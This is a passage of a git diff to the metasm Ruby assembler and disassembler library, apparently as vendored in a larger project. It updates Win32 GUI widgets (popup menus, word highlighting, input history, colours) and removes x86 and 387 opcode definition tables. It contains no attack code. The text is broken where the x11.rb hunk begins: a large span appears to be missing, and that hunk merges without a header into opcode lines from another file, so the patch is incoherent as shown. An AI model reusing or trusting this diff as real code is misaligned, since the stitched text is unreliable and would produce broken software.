mode=:asm) return if not line word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/] word = nil if word == '' - @hl_word = word if @hl_word != word + if @hl_word != word + if word + if mode == :asm and defined?(@dasm) and @dasm + re = @dasm.gui_hilight_word_regexp(word) + else + re = Regexp.escape word + end + @hl_word_re = /^(.*?)(\b(?:#{re})\b)/ + end + @hl_word = word + end end # invalidate the whole widget area diff --git a/lib/metasm/metasm/gui/win32.rb b/lib/metasm/metasm/gui/win32.rb index a0e7b3dd5c..ca9fb656d6 100644 --- a/lib/metasm/metasm/gui/win32.rb +++ b/lib/metasm/metasm/gui/win32.rb @@ -685,7 +685,7 @@ TrackMouseEvent( #define QS_ALLEVENTS (QS_INPUT | QS_POSTMESSAGE | QS_TIMER | QS_PAINT | QS_HOTKEY) #define QS_ALLINPUT (QS_ALLEVENTS | QS_SENDMESSAGE) -#define WAIT_TIMEOUT 258L +#define WAIT_TIMEOUT 258L #define CF_TEXT 1 #define CF_BITMAP 2 @@ -960,6 +960,33 @@ GetTextExtentPoint32A( __in_ecount(c) LPCSTR lpString, __in int c, __out LPPOINT lpsz); + +typedef struct tagRECT { + LONG left; + LONG top; + LONG right; + LONG bottom; +} RECT, *LPRECT; + +#define TPM_LEFTBUTTON 0x0000L +#define TPM_RIGHTBUTTON 0x0002L +#define TPM_LEFTALIGN 0x0000L +#define TPM_CENTERALIGN 0x0004L +#define TPM_RIGHTALIGN 0x0008L +#define TPM_TOPALIGN 0x0000L +#define TPM_VCENTERALIGN 0x0010L +#define TPM_BOTTOMALIGN 0x0020L +#define TPM_HORIZONTAL 0x0000L +#define TPM_VERTICAL 0x0040L +#define TPM_NONOTIFY 0x0080L +#define TPM_RETURNCMD 0x0100L +#define TPM_RECURSE 0x0001L +#define TPM_HORPOSANIMATION 0x0400L +#define TPM_HORNEGANIMATION 0x0800L +#define TPM_VERPOSANIMATION 0x1000L +#define TPM_VERNEGANIMATION 0x2000L +#define TPM_NOANIMATION 0x4000L +#define TPM_LAYOUTRTL 0x8000L WINUSERAPI BOOL WINAPI @@ -980,6 +1007,17 @@ WINAPI DestroyMenu( __in HMENU hMenu); WINUSERAPI +BOOL +WINAPI +TrackPopupMenu( + __in HMENU hMenu, + __in UINT uFlags, + __in int x, + __in int y, + __in int nReserved, + __in HWND hWnd, + __in_opt CONST RECT *prcRect); +WINUSERAPI DWORD WINAPI CheckMenuItem( @@ -999,13 +1037,6 @@ AppendMenuA( #define OPAQUE 2 int WINAPI SetBkMode(__in HDC hdc, __in int mode); -typedef struct tagRECT { - LONG left; - LONG top; - LONG right; - LONG bottom; -} RECT, *LPRECT; - WINUSERAPI int WINAPI @@ -1086,6 +1117,18 @@ UpdateWindow( WINUSERAPI BOOL WINAPI +ClientToScreen( + __in HWND hWnd, + __inout LPPOINT pt); +WINUSERAPI +BOOL +WINAPI +ScreenToClient( + __in HWND hWnd, + __inout LPPOINT pt); +WINUSERAPI +BOOL +WINAPI GetClientRect( __in HWND hWnd, __out LPRECT lpRect); @@ -1390,11 +1433,11 @@ class WinWidget return if not @parent @parent.set_focus(self) if @parent.respond_to? :set_focus end - + def focus? return true if not @parent (@parent.respond_to?(:focus?) ? @parent.focus? : true) and - (@parent.respond_to?(:has_focus?) ? @parent.has_focus?(self) : true) + (@parent.respond_to?(:has_focus?) ? @parent.has_focus?(self) : true) end def redraw @@ -1484,6 +1527,7 @@ class ContainerChoiceWidget < WinWidget def set_focus(c) @curview = c + grab_focus redraw end end @@ -1519,7 +1563,7 @@ class ContainerVBoxWidget < WinWidget cy = 0 pv = [] @views.each_with_index { |v, i| - if y >= cy and y < cy + v.height + if y >= cy+1 and y < cy + v.height - 1 if @focus_idx != i @focus_idx = i redraw @@ -1528,8 +1572,7 @@ class ContainerVBoxWidget < WinWidget return end cy += v.height - if y >= cy and y < cy+@spacing - vsz = v + if y >= cy-1 and y < cy+@spacing+1 @resizing = v @wantheight[@resizing] ||= v.height @tmpwantheight = [] @@ -1665,12 +1708,13 @@ class ContainerVBoxWidget < WinWidget def set_focus(c) @focus_idx = @views.index(c) + grab_focus redraw end end module TextWidget - attr_accessor :caret_x, :caret_y, :hl_word, :font_width, :font_height + attr_accessor :caret_x, :caret_y, :hl_word, :hl_word_re, :font_width, :font_height def initialize_text @caret_x = @caret_y = 0 # text cursor position @@ -1679,11 +1723,21 @@ module TextWidget @hl_word = nil end - def update_hl_word(line, offset) + def update_hl_word(line, offset, mode=:asm) return if not line word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/] word = nil if word == '' - @hl_word = word if @hl_word != word + if @hl_word != word + if word + if mode == :asm and defined?(@dasm) and @dasm + re = @dasm.gui_hilight_word_regexp(word) + else + re = Regexp.escape(word) + end + @hl_word_re = /^(.*?)(\b(?:#{re})\b)/ + end + @hl_word = word + end end def set_caret_from_click(x, y) @@ -1737,7 +1791,15 @@ end class DrawableWidget < WinWidget include TextWidget - attr_accessor :buttons + BasicColor = { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', + :red => 'f44', :darkred => '800', :palered => 'faa', + :green => '4f4', :darkgreen => '080', :palegreen => 'afa', + :blue => '44f', :darkblue => '008', :paleblue => 'aaf', + :yellow => 'ff4', :darkyellow => '440', :paleyellow => 'ffa', + :orange => 'fc8', + } + attr_accessor :buttons, :parent_widget + attr_accessor :default_color_association def initialize(*a, &b) @color = {} @@ -1754,12 +1816,7 @@ class DrawableWidget < WinWidget end def initialize_visible_ - { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', - :red => 'f00', :darkred => '800', :palered => 'fcc', - :green => '0f0', :darkgreen => '080', :palegreen => 'cfc', - :blue => '00f', :darkblue => '008', :paleblue => 'ccf', - :yellow => 'ff0', :darkyellow => '440', :paleyellow => 'ffc', - }.each { |tag, val| + BasicColor.each { |tag, val| @color[tag] = color(val) } @color[:winbg] = Win32Gui.getsyscolor(Win32Gui::COLOR_BTNFACE) @@ -1768,11 +1825,24 @@ class DrawableWidget < WinWidget initialize_visible if respond_to? :initialize_visible end - def set_color_association(h) - h.each { |k, v| @color[k] = color(v) } + def set_color_association(hash) + hord = Hash.new { |h, k| h[k] = (hash[k] ? h[hash[k]] + 1 : 0) } + hash.sort_by { |k, v| hord[k] }.each { |k, v| @color[k] = color(v) } gui_update end + def new_menu + toplevel.new_menu + end + + def addsubmenu(*a, &b) + toplevel.addsubmenu(*a, &b) + end + + def popupmenu(m, x, y) + toplevel.popupmenu(m, (x+@x).to_i, (y+@y).to_i) + end + def paint_(realhdc) @hdc = Win32Gui.createcompatibledc(realhdc) bmp = Win32Gui.createcompatiblebitmap(realhdc, @width, @height) @@ -1813,7 +1883,7 @@ class DrawableWidget < WinWidget end def color(col) - @color[col] ||= col.sub(/^(\w)(\w)(\w)$/, '\\3\\3\\2\\2\\1\\1').to_i(16) + @color[col] ||= col.sub(/^(\w\w)(\w\w)(\w\w)$/, '\\3\\2\\1').sub(/^(\w)(\w)(\w)$/, '\\3\\3\\2\\2\\1\\1').to_i(16) end def draw_color(col) @@ -1853,12 +1923,29 @@ class DrawableWidget < WinWidget draw_string(x, y, text) end + # same as draw_string_color + hilight @hl_word_re + def draw_string_hl(col, x, y, str) + if @hl_word + while str =~ @hl_word_re + s1, s2 = $1, $2 + draw_string_color(col, x, y, s1) + x += s1.length*@font_width + hl_w = s2.length*@font_width + draw_rectangle_color(:hl_word_bg, x, y, hl_w, @font_height) + draw_string_color(:hl_word, x, y, s2) + x += hl_w + str = str[s1.length+s2.length..-1] + end + end + draw_string_color(col, x, y, str) + end + def keyboard_state(query=nil) case query when :control, :ctrl Win32Gui.getkeystate(Win32Gui::VK_CONTROL) & 0x8000 > 0 when :shift - Win32Gui.getkeystate(Win32Gui::VK_SHIFT) & 0x8000 > 0 + Win32Gui.getkeystate(Win32Gui::VK_SHIFT) & 0x8000 > 0 when :alt Win32Gui.getkeystate(Win32Gui::VK_MENU) & 0x8000 > 0 else @@ -1952,10 +2039,10 @@ class Window :style => Win32Gui::CS_DBLCLKS, :hcursor => Win32Gui.loadcursora(0, Win32Gui::IDC_ARROW), :lpszclassname => cname, - :lpfnwndproc => Win32Gui.callback_alloc_c('__stdcall int wndproc(int, int, int, int)') { |hwnd, msg, wp, lp| windowproc(hwnd, msg, wp, lp) } + :lpfnwndproc => Win32Gui.callback_alloc_c('__stdcall int wndproc(int, int, int, int)') { |hwnd, msg, wp, lp| windowproc(hwnd, msg, wp, lp) } Win32Gui.registerclassexa(cls) - + @hwnd = Win32Gui.createwindowexa(win32styleex, cname, 'win32gui window', win32style, Win32Gui::CW_USEDEFAULT, Win32Gui::SW_HIDE, Win32Gui::CW_USEDEFAULT, 0, 0, 0, 0, 0) initialize_window(*a, &b) @@ -1997,7 +2084,8 @@ class Window h.update v => { :prior => :pgup, :next => :pgdown, :escape => :esc, :return => :enter, - :back => :backspace, + :back => :backspace, :apps => :popupmenu, + :add => ?+, :subtract => ?-, :multiply => ?*, :divide => ?/, }.fetch(key, key) } @@ -2053,7 +2141,9 @@ class Window when Win32Gui::WM_KEYDOWN, Win32Gui::WM_SYSKEYDOWN # SYSKEYDOWN for f10 (default = activate the menu bar) if key = Keyboard_trad[wparam] - if keyboard_state(:control) + if [?+, ?-, ?/, ?*].include?(key) + # keypad keys generate wm_keydown + wm_char, ignore this one + elsif keyboard_state(:control) @widget.keypress_ctrl_(key) if @widget else @widget.keypress_(key) if @widget @@ -2064,15 +2154,15 @@ class Window if keyboard_state(:control) and not keyboard_state(:alt) # altgr+[ returns CTRL on.. if ?a.kind_of?(String) wparam += (keyboard_state(:shift) ? ?A.ord : ?a.ord) - 1 if wparam < 0x1a - k = wparam.chr + key = wparam.chr else wparam += (keyboard_state(:shift) ? ?A : ?a) - 1 if wparam < 0x1a - k = wparam + key = wparam end - @widget.keypress_ctrl_(k) if @widget + @widget.keypress_ctrl_(key) if @widget else - k = (?a.kind_of?(String) ? wparam.chr : wparam) - @widget.keypress_(k) if @widget + key = (?a.kind_of?(String) ? wparam.chr : wparam) + @widget.keypress_(key) if @widget end when Win32Gui::WM_DESTROY destroy_window @@ -2214,12 +2304,39 @@ class Window # make the window's MenuBar reflect the content of @menu def update_menu + unuse_menu(@menu) Win32Gui.destroymenu(@menuhwnd) if @menuhwnd != 0 @menuhwnd = Win32Gui.createmenu() @menu.each { |e| create_menu_item(@menuhwnd, e) } Win32Gui.setmenu(@hwnd, @menuhwnd) end + def popupmenu(m, x, y) + hm = Win32Gui.createpopupmenu() + m.each { |e| create_menu_item(hm, e) } + pt = Win32Gui.alloc_c_struct('POINT', :x => x, :y => y) + Win32Gui.clienttoscreen(@hwnd, pt) + id = Win32Gui.trackpopupmenu(hm, Win32Gui::TPM_NONOTIFY | Win32Gui::TPM_RETURNCMD, pt.x, pt.y, 0, @hwnd, 0) + if p = @control_action[id] + # TrackPopup returns before WM_COMMAND is delivered, so if we + # want to cleanup @control_action we must call it now & clenup + p.call + end + unuse_menu(m) + Win32Gui.destroymenu(hm) + end + + def unuse_menu(m) + m.flatten.grep(Proc).reverse_each { |c| + if @control_action[@controlid-1] == c + @controlid -= 1 # recycle IDs + @control_action.delete @controlid + elsif i = @control_action.index(c) + @control_action.delete i + end + } + end + def create_menu_item(menu, entry) args = entry.dup @@ -2270,6 +2387,7 @@ class Window checked = action.call(!checked) Win32Gui.checkmenuitem(menu, id, (checked ? Win32Gui::MF_CHECKED : Win32Gui::MF_UNCHECKED)) } + entry << @control_action[id] # allow deletion in unuse_menu end @controlid += 1 end @@ -2329,7 +2447,7 @@ class OpenFile buf = [0].pack('C')*512 ofn = Win32Gui.alloc_c_struct 'OPENFILENAMEA', :lstructsize => :size, - #:hwndowner => win.hwnd, # 0 for nonmodal + #:hwndowner => win.hwnd, # 0 for nonmodal :lpstrfilter => "All Files\0*.*\0\0", :lpstrfile => buf, :lpstrtitle => title, @@ -2369,6 +2487,10 @@ class IBoxWidget < DrawableWidget @oldsel_x = @caret_x_select = 0 @caret_x = @curline.length @caret_x_start = 0 + @@history ||= {} + histkey = opts[:history] || label[0, 10] + @history = (@@history[histkey] ||= []) + @history_off = @history.length add_button('Ok', :btnc1, :btnc2) { keypress(:enter) } add_button('Cancel', :btnc1, :btnc2) { keypress(:esc) } @@ -2480,7 +2602,7 @@ class IBoxWidget < DrawableWidget @caret_x_select = nil end @caret_x -= 1 if @caret_x > 0 - update_caret + update_caret when :right if keyboard_state(:shift) @caret_x_select ||= @caret_x @@ -2488,7 +2610,7 @@ class IBoxWidget < DrawableWidget @caret_x_select = nil end @caret_x += 1 if @caret_x < @curline.length - update_caret + update_caret when :home if keyboard_state(:shift) @caret_x_select ||= @caret_x @@ -2505,7 +2627,19 @@ class IBoxWidget < DrawableWidget end @caret_x = @curline.length update_caret + when :up, :down + if @history_off < @history.length or @curline.strip != @history.last + @history[@history_off] = @curline.strip + end + @history_off += (key == :up ? -1 : 1) + @history_off %= @history.length + @curline = @history[@history_off].to_s + @caret_x = @curline.length if @caret_x > @curline.length + redraw when :enter + @history << @curline.strip + @history.pop if @history.last == '' + @history.pop if @history.last == @history[-2] destroy Gui.main_iter protect { @action.call(@curline.strip) } @@ -2588,7 +2722,7 @@ class IBoxWidget < DrawableWidget elsif mouserelease_buttons(x, y) end end - + def update_caret return if @oldcaret_x == @caret_x and @oldsel_x == @caret_x_select redraw @@ -2699,13 +2833,17 @@ class LBoxWidget < DrawableWidget def paint @btnx = [] @btny = 0 - @btnheight = @font_height * 4/3 + if @btnheight != @font_height * 4/3 + # fix vscrollbar height on w7 + @btnheight = @font_height * 4/3 + resized(width, height) + end x = 0 @colw.each { |w| @btnx << x x += w } - + x -= @sbh y = @btnheight @linehead = @sbv / @font_height @@ -2817,7 +2955,6 @@ class LBoxWidget < DrawableWidget vscroll((@linehead-off)*@font_height) redraw when :down - n = @lineshown-1 off = [@lineshown, [@lineshown/2, 5].max].min vscroll((@linehead+off)*@font_height) redraw @@ -2895,7 +3032,7 @@ class LBoxWidget < DrawableWidget if @list_ints[col] nlist = @list.sort_by { |a| [a[col].to_i, a] } else - nlist = @list.sort_by { |a| [a[col], a] } + nlist = @list.sort_by { |a| [a[col], a] } end nlist.reverse! if nlist == @list @list = nlist @@ -2907,7 +3044,7 @@ class LBoxWidget < DrawableWidget redraw end end - + def destroy @parent.destroy end @@ -2943,7 +3080,7 @@ end Win32Gui.getscrollinfo(@hwnd, Win32Gui::SB_VERT, sif) case wparam & 0xffff when Win32Gui::SB_THUMBPOSITION; val = sif.ntrackpos - when Win32Gui::SB_THUMBTRACK; val = sif.ntrackpos; nopos = true + when Win32Gui::SB_THUMBTRACK; val = sif.ntrackpos #; nopos = true when Win32Gui::SB_LINEDOWN; val = sif.npos + 1 when Win32Gui::SB_LINEUP; val = sif.npos - 1 when Win32Gui::SB_PAGEDOWN; val = sif.npos + sif.npage diff --git a/lib/metasm/metasm/gui/x11.rb b/lib/metasm/metasm/gui/x11.rb index 9f5cce772f..e4e411a546 100644 --- a/lib/metasm/metasm/gui/x11.rb +++ b/lib/metasm/metasm/gui/x11.rb @@ -9,31 +9,31 @@ module Metasm module Gui class XGui < DynLdr new_api_c < 1, :s => 1, :d => 1, :modrm => 0xc7, - :reg => 7, :eeec => 7, :eeed => 7, :seg2 => 3, :seg3 => 7, - :regfp => 7, :regmmx => 7, :regxmm => 7 - @fields_mask[:seg2A] = @fields_mask[:seg2] - @fields_mask[:seg3A] = @fields_mask[:seg3] - @fields_mask[:modrmA] = @fields_mask[:modrm] - - @valid_args.concat [:i, :i8, :u8, :u16, :reg, :seg2, :seg2A, - :seg3, :seg3A, :eeec, :eeed, :modrm, :modrmA, :mrm_imm, - :farptr, :imm_val1, :imm_val3, :reg_cl, :reg_eax, - :reg_dx, :regfp, :regfp0, :modrmmmx, :regmmx, - :modrmxmm, :regxmm] - @valid_args - - @valid_props.concat [:strop, :stropz, :opsz, :argsz, :setip, - :stopexec, :saveip, :unsigned_imm, :random, :needpfx, - :xmmx] - @valid_props - end - - # only most common instructions from the 386 instruction set - # inexhaustive list : - # no aaa, arpl, mov crX, call/jmp/ret far, in/out, bts, xchg... - def init_386_common_only - init_cpu_constants - - addop_macro1 'adc', 2 - addop_macro1 'add', 0 - addop_macro1 'and', 4, :u - addop 'bswap', [0x0F, 0xC8], :reg - addop 'call', [0xE8], nil, {}, :stopexec, :setip, :i, :saveip - addop 'call', [0xFF], 2, {}, :stopexec, :setip, :saveip - addop('cbw', [0x98]) { |o| o.props[:opsz] = 16 } - addop('cwde', [0x98]) { |o| o.props[:opsz] = 32 } - addop('cdqe', [0x98]) { |o| o.props[:opsz] = 64 } - addop('cwd', [0x99]) { |o| o.props[:opsz] = 16 } - addop('cdq', [0x99]) { |o| o.props[:opsz] = 32 } - addop('cqo', [0x99]) { |o| o.props[:opsz] = 64 } - addop_macro1 'cmp', 7 - addop_macrostr 'cmps', [0xA6], :stropz - addop 'dec', [0x48], :reg - addop 'dec', [0xFE], 1, {:w => [0, 0]} - addop 'div', [0xF6], 6, {:w => [0, 0]} - addop 'enter', [0xC8], nil, {}, :u16, :u8 - addop 'idiv', [0xF6], 7, {:w => [0, 0]} - addop 'imul', [0xF6], 5, {:w => [0, 0]}, :reg_eax - addop 'imul', [0x0F, 0xAF], :mrm - addop 'imul', [0x69], :mrm, {:s => [0, 1]}, :i - addop 'inc', [0x40], :reg - addop 'inc', [0xFE], 0, {:w => [0, 0]} - addop 'int', [0xCC], nil, {}, :imm_val3, :stopexec - addop 'int', [0xCD], nil, {}, :u8 - addop_macrotttn 'j', [0x70], nil, {}, :setip, :i8 - addop_macrotttn 'j', [0x0F, 0x80], nil, {}, :setip, :i - addop 'jmp', [0xE9], nil, {:s => [0, 1]}, :setip, :i, :stopexec - addop 'jmp', [0xFF], 4, {}, :setip, :stopexec - addop 'lea', [0x8D], :mrmA - addop 'leave', [0xC9] - addop_macrostr 'lods', [0xAC], :strop - addop 'loop', [0xE2], nil, {}, :setip, :i8 - addop 'loopz', [0xE1], nil, {}, :setip, :i8 - addop 'loope', [0xE1], nil, {}, :setip, :i8 - addop 'loopnz',[0xE0], nil, {}, :setip, :i8 - addop 'loopne',[0xE0], nil, {}, :setip, :i8 - addop 'mov', [0xA0], nil, {:w => [0, 0], :d => [0, 1]}, :mrm_imm, :reg_eax - addop 'mov', [0x88], :mrmw,{:d => [0, 1]} - addop 'mov', [0xB0], :reg, {:w => [0, 3]}, :u - addop 'mov', [0xC6], 0, {:w => [0, 0]}, :u - addop_macrostr 'movs', [0xA4], :strop - addop 'movsx', [0x0F, 0xBE], :mrmw - addop 'movzx', [0x0F, 0xB6], :mrmw - addop 'mul', [0xF6], 4, {:w => [0, 0]} - addop 'neg', [0xF6], 3, {:w => [0, 0]} - addop 'nop', [0x90] - addop 'not', [0xF6], 2, {:w => [0, 0]} - addop_macro1 'or', 1, :u - addop 'pop', [0x58], :reg - addop 'pop', [0x8F], 0 - addop 'push', [0x50], :reg - addop 'push', [0xFF], 6 - addop 'push', [0x68], nil, {:s => [0, 1]}, :u - addop 'ret', [0xC3], nil, {}, :stopexec, :setip - addop 'ret', [0xC2], nil, {}, :stopexec, :u16, :setip - addop_macro3 'rol', 0 - addop_macro3 'ror', 1 - addop_macro3 'sar', 7 - addop_macro1 'sbb', 3 - addop_macrostr 'scas', [0xAE], :stropz - addop_macrotttn('set', [0x0F, 0x90], 0) { |o| o.props[:argsz] = 8 } - addop_macrotttn('set', [0x0F, 0x90], :mrm) { |o| o.props[:argsz] = 8 ; o.args.reverse! } # :reg field is unused - addop_macro3 'shl', 4 - addop_macro3 'sal', 6 - addop 'shld', [0x0F, 0xA4], :mrm, {}, :u8 - addop 'shld', [0x0F, 0xA5], :mrm, {}, :reg_cl - addop_macro3 'shr', 5 - addop 'shrd', [0x0F, 0xAC], :mrm, {}, :u8 - addop 'shrd', [0x0F, 0xAD], :mrm, {}, :reg_cl - addop_macrostr 'stos', [0xAA], :strop - addop_macro1 'sub', 5 - addop 'test', [0x84], :mrmw - addop 'test', [0xA8], nil, {:w => [0, 0]}, :reg_eax, :u - addop 'test', [0xF6], 0, {:w => [0, 0]}, :u - addop 'xchg', [0x90], :reg, {}, :reg_eax - addop('xchg', [0x90], :reg, {}, :reg_eax) { |o| o.args.reverse! } # xchg eax, ebx == xchg ebx, eax) - addop 'xchg', [0x86], :mrmw - addop('xchg', [0x86], :mrmw) { |o| o.args.reverse! } - addop_macro1 'xor', 6, :u - end - - def init_386_only - init_cpu_constants - - addop 'aaa', [0x37] - addop 'aad', [0xD5, 0x0A] - addop 'aam', [0xD4, 0x0A] - addop 'aas', [0x3F] - addop('arpl', [0x63], :mrm) { |o| o.props[:argsz] = 16 ; o.args.reverse! } - addop 'bound', [0x62], :mrmA - addop 'bsf', [0x0F, 0xBC], :mrm - addop 'bsr', [0x0F, 0xBD], :mrm - addop_macro2 'bt' , 0 - addop_macro2 'btc', 3 - addop_macro2 'btr', 2 - addop_macro2 'bts', 1 - addop 'call', [0x9A], nil, {}, :stopexec, :setip, :farptr, :saveip - addop 'callf', [0x9A], nil, {}, :stopexec, :setip, :farptr, :saveip - addop 'callf', [0xFF], 3, {}, :stopexec, :setip, :saveip - addop 'clc', [0xF8] - addop 'cld', [0xFC] - addop 'cli', [0xFA] - addop 'clts', [0x0F, 0x06] - addop 'cmc', [0xF5] - addop('cmpxchg',[0x0F, 0xB0], :mrmw) { |o| o.args.reverse! } - addop 'cpuid', [0x0F, 0xA2] - addop 'daa', [0x27] - addop 'das', [0x2F] - addop 'hlt', [0xF4], nil, {}, :stopexec - addop 'in', [0xE4], nil, {:w => [0, 0]}, :reg_eax, :u8 - addop 'in', [0xE4], nil, {:w => [0, 0]}, :u8 - addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax, :reg_dx - addop 'in', [0xEC], nil, {:w => [0, 0]}, :reg_eax - addop 'in', [0xEC], nil, {:w => [0, 0]} - addop_macrostr 'ins', [0x6C], :strop - addop 'into', [0xCE] - addop 'invd', [0x0F, 0x08] - addop 'invlpg',[0x0F, 0x01, 7<<3], :modrmA - addop 'iret', [0xCF], nil, {}, :stopexec, :setip - addop 'iretd', [0xCF], nil, {}, :stopexec, :setip - addop('jcxz', [0xE3], nil, {}, :setip, :i8) { |o| o.props[:opsz] = 16 } - addop('jecxz', [0xE3], nil, {}, :setip, :i8) { |o| o.props[:opsz] = 32 } - addop 'jmp', [0xEA], nil, {}, :farptr, :setip, :stopexec - addop 'jmpf', [0xEA], nil, {}, :farptr, :setip, :stopexec - addop 'jmpf', [0xFF], 5, {}, :stopexec, :setip # reg ? - addop 'lahf', [0x9F] - addop 'lar', [0x0F, 0x02], :mrm - addop 'lds', [0xC5], :mrmA - addop 'les', [0xC4], :mrmA - addop 'lfs', [0x0F, 0xB4], :mrmA - addop 'lgs', [0x0F, 0xB5], :mrmA - addop 'lgdt', [0x0F, 0x01], 2 - addop 'lidt', [0x0F, 0x01, 3<<3], :modrmA - addop 'lldt', [0x0F, 0x00], 2 - addop 'lmsw', [0x0F, 0x01], 6 -# prefix addop 'lock', [0xF0] - addop 'lsl', [0x0F, 0x03], :mrm - addop 'lss', [0x0F, 0xB2], :mrmA - addop 'ltr', [0x0F, 0x00], 3 - addop('mov', [0x0F, 0x20, 0xC0], :reg, {:d => [1, 1], :eeec => [2, 3]}, :eeec) { |op| op.args.reverse! } - addop('mov', [0x0F, 0x21, 0xC0], :reg, {:d => [1, 1], :eeed => [2, 3]}, :eeed) { |op| op.args.reverse! } - addop('mov', [0x8C], 0, {:d => [0, 1], :seg3 => [1, 3]}, :seg3) { |op| op.args.reverse! } - addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8, :reg_eax - addop 'out', [0xE6], nil, {:w => [0, 0]}, :reg_eax, :u8 - addop 'out', [0xE6], nil, {:w => [0, 0]}, :u8 - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_dx, :reg_eax - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax, :reg_dx - addop 'out', [0xEE], nil, {:w => [0, 0]}, :reg_eax # implicit arguments - addop 'out', [0xEE], nil, {:w => [0, 0]} - addop_macrostr 'outs', [0x6E], :strop - addop 'pop', [0x07], nil, {:seg2A => [0, 3]}, :seg2A - addop 'pop', [0x0F, 0x81], nil, {:seg3A => [1, 3]}, :seg3A - addop('popa', [0x61]) { |o| o.props[:opsz] = 16 } - addop('popad', [0x61]) { |o| o.props[:opsz] = 32 } - addop('popf', [0x9D]) { |o| o.props[:opsz] = 16 } - addop('popfd', [0x9D]) { |o| o.props[:opsz] = 32 } - addop 'push', [0x06], nil, {:seg2 => [0, 3]}, :seg2 - addop 'push', [0x0F, 0x80], nil, {:seg3A => [1, 3]}, :seg3A - addop('pusha', [0x60]) { |o| o.props[:opsz] = 16 } - addop('pushad',[0x60]) { |o| o.props[:opsz] = 32 } - addop('pushf', [0x9C]) { |o| o.props[:opsz] = 16 } - addop('pushfd',[0x9C]) { |o| o.props[:opsz] = 32 } - addop_macro3 'rcl', 2 - addop_macro3 'rcr', 3 - addop 'rdmsr', [0x0F, 0x32] - addop 'rdpmc', [0x0F, 0x33] - addop 'rdtsc', [0x0F, 0x31], nil, {}, :random - addop 'retf', [0xCB], nil, {}, :stopexec, :setip - addop 'retf', [0xCA], nil, {}, :stopexec, :u16, :setip - addop 'rsm', [0x0F, 0xAA], nil, {}, :stopexec - addop 'sahf', [0x9E] - addop 'sgdt', [0x0F, 0x01, 0<<3], :modrmA - addop 'sidt', [0x0F, 0x01, 1<<3], :modrmA - addop 'sldt', [0x0F, 0x00], 0 - addop 'smsw', [0x0F, 0x01], 4 - addop 'stc', [0xF9] - addop 'std', [0xFD] - addop 'sti', [0xFB] - addop 'str', [0x0F, 0x00], 1 - addop 'ud2', [0x0F, 0x0B] - addop 'verr', [0x0F, 0x00], 4 - addop 'verw', [0x0F, 0x00], 5 - addop 'wait', [0x9B] - addop 'wbinvd',[0x0F, 0x09] - addop 'wrmsr', [0x0F, 0x30] - addop('xadd', [0x0F, 0xC0], :mrmw) { |o| o.args.reverse! } - addop 'xlat', [0xD7] - -# pfx: addrsz = 0x67, lock = 0xf0, opsz = 0x66, repnz = 0xf2, rep/repz = 0xf3 -# cs/nojmp = 0x2E, ds/jmp = 0x3E, es = 0x26, fs = 0x64, gs = 0x65, ss = 0x36 - # undocumented opcodes - # TODO put these in the right place (486/P6/...) - addop 'aam', [0xD4], nil, {}, :u8 - addop 'aad', [0xD5], nil, {}, :u8 - addop 'setalc', [0xD6] - addop 'salc', [0xD6] - addop 'icebp', [0xF1] - #addop 'loadall',[0x0F, 0x07] # conflict with syscall - addop 'ud2', [0x0F, 0xB9] - addop 'umov', [0x0F, 0x10], :mrmw,{:d => [1, 1]} - end - - def init_387_only - init_cpu_constants - - addop 'f2xm1', [0xD9, 0xF0] - addop 'fabs', [0xD9, 0xE1] - addop_macrofpu1 'fadd', 0 - addop 'faddp', [0xDE, 0xC0], :regfp - addop 'faddp', [0xDE, 0xC1] - addop('fbld', [0xDF, 4<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 } - addop('fbstp', [0xDF, 6<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fchs', [0xD9, 0xE0], nil, {}, :regfp0 - addop 'fnclex', [0xDB, 0xE2] - addop_macrofpu1 'fcom', 2 - addop_macrofpu1 'fcomp', 3 - addop 'fcompp',[0xDE, 0xD9] - addop 'fcomip',[0xDF, 0xF0], :regfp - addop 'fcos', [0xD9, 0xFF], nil, {}, :regfp0 - addop 'fdecstp', [0xD9, 0xF6] - addop_macrofpu1 'fdiv', 6 - addop_macrofpu1 'fdivr', 7 - addop 'fdivp', [0xDE, 0xF8], :regfp - addop 'fdivp', [0xDE, 0xF9] - addop 'fdivrp',[0xDE, 0xF0], :regfp - addop 'fdivrp',[0xDE, 0xF1] - addop 'ffree', [0xDD, 0xC0], nil, {:regfp => [1, 0]}, :regfp - addop_macrofpu2 'fiadd', 0 - addop_macrofpu2 'fimul', 1 - addop_macrofpu2 'ficom', 2 - addop_macrofpu2 'ficomp',3 - addop_macrofpu2 'fisub', 4 - addop_macrofpu2 'fisubr',5 - addop_macrofpu2 'fidiv', 6 - addop_macrofpu2 'fidivr',7 - addop 'fincstp', [0xD9, 0xF7] - addop 'fninit', [0xDB, 0xE3] - addop_macrofpu2 'fist', 2, 1 - addop_macrofpu3 'fild', 0 - addop_macrofpu3 'fistp',3 - addop('fld', [0xD9, 0<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - addop('fld', [0xDD, 0<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - addop('fld', [0xDB, 5<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 80 } - addop 'fld', [0xD9, 0xC0], :regfp - - addop('fldcw', [0xD9, 5<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop 'fldenv', [0xD9, 4<<3], :modrmA - addop 'fld1', [0xD9, 0xE8] - addop 'fldl2t', [0xD9, 0xE9] - addop 'fldl2e', [0xD9, 0xEA] - addop 'fldpi', [0xD9, 0xEB] - addop 'fldlg2', [0xD9, 0xEC] - addop 'fldln2', [0xD9, 0xED] - addop 'fldz', [0xD9, 0xEE] - addop_macrofpu1 'fmul', 1 - addop 'fmulp', [0xDE, 0xC8], :regfp - addop 'fmulp', [0xDE, 0xC9] - addop 'fnop', [0xD9, 0xD0] - addop 'fpatan', [0xD9, 0xF3] - addop 'fprem', [0xD9, 0xF8] - addop 'fprem1', [0xD9, 0xF5] - addop 'fptan', [0xD9, 0xF2] - addop 'frndint',[0xD9, 0xFC] - addop 'frstor', [0xDD, 4<<3], :modrmA 